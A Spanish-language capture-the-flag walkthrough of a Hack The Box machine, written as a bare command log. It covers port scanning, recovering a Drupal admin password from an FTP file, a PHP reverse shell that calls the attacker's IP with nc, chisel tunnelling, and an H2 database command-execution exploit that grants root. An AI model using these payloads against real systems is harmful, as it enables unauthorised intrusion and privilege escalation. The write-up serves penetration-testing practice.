mkdir hawk
cd !$
mkt
cd nmap

nmap -p- --open -T5 -v -n 10.129.95.193

Pasted image 20210814202640.png

nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.129.95.193 -oG allPorts

extractPorts allPorts

nmap -sCV -p80,21,22,5435,8082,9092 10.129.95.193 -oN targeted

whatweb http://10.129.95.193

Pasted image 20210814203018.png

ftp 10.129.95.193

get .drupal.txt.enc

Pasted image 20210814203431.png

cat .drupal.txt.enc

Pasted image 20210814203727.png

cat .drupal.txt.enc | xargs | tr -d '' | base64 -d > drupal.txt

Pasted image 20210814203940.png

./bruteforce.sh

Pasted image 20210814210039.png

cat drupal.txt

Encontramos que la contrasena es PencilKeyboardScanner123

Pasted image 20210814210024.png

Vamos a http://10.129.95.193:8082

Pasted image 20210814210114.png

Metemos las credenciales admin:PencilKeyboardScanner123

Pasted image 20210814210358.png

Ya en drupal vamos a modules y escogemos PHP filter.

Pasted image 20210814210605.png

Escribimos el script de un reverse shell

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.108 443 >/tmp/f "); ?>

Y escogemos PHP code como formato de texto

Pasted image 20210814210929.png

git clone https://github.com/jpillora/chisel

Pasted image 20210814211847.png

go build -ldflags "-s -w" .

du -hc chisel

Pasted image 20210814212018.png

python3 -m http.server 80

wget http://10.10.14.108/chisel

Pasted image 20210814212329.png

chmod +x chisel

Pasted image 20210814212416.png

En la maquina kali

./chisel server --reverse -p 1234

En la maquina atacada

./chisel client 10.10.14.108:1234 R:8082:127.0.0.1:8082

Pasted image 20210814213114.png

Vamos a la pagina localhost:8082. Cambiamos el URL de test a otro nombre y le damos click a Preferences

Pasted image 20210814213146.png

Escogemos la opcion de Allow connections from other computers

Pasted image 20210814213236.png

Ya deberia de cambiar el url de test a otro nombre. Aqui puse uno. Le damos click a Connect

Pasted image 20210814213415.png

ps -faux | grep -i h2-l

Pasted image 20210814213555.png

Vemos el siguiente exploit: https://www.exploit-db.com/exploits/45506

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$
CALL EXECVE('chmod 4775 /bin/bashc')

Lo corremos y ya deberiamos de tener un root shell.

Pasted image 20210814214752.png

boxes

copyright©2022 Cu3rv0x all rights reserved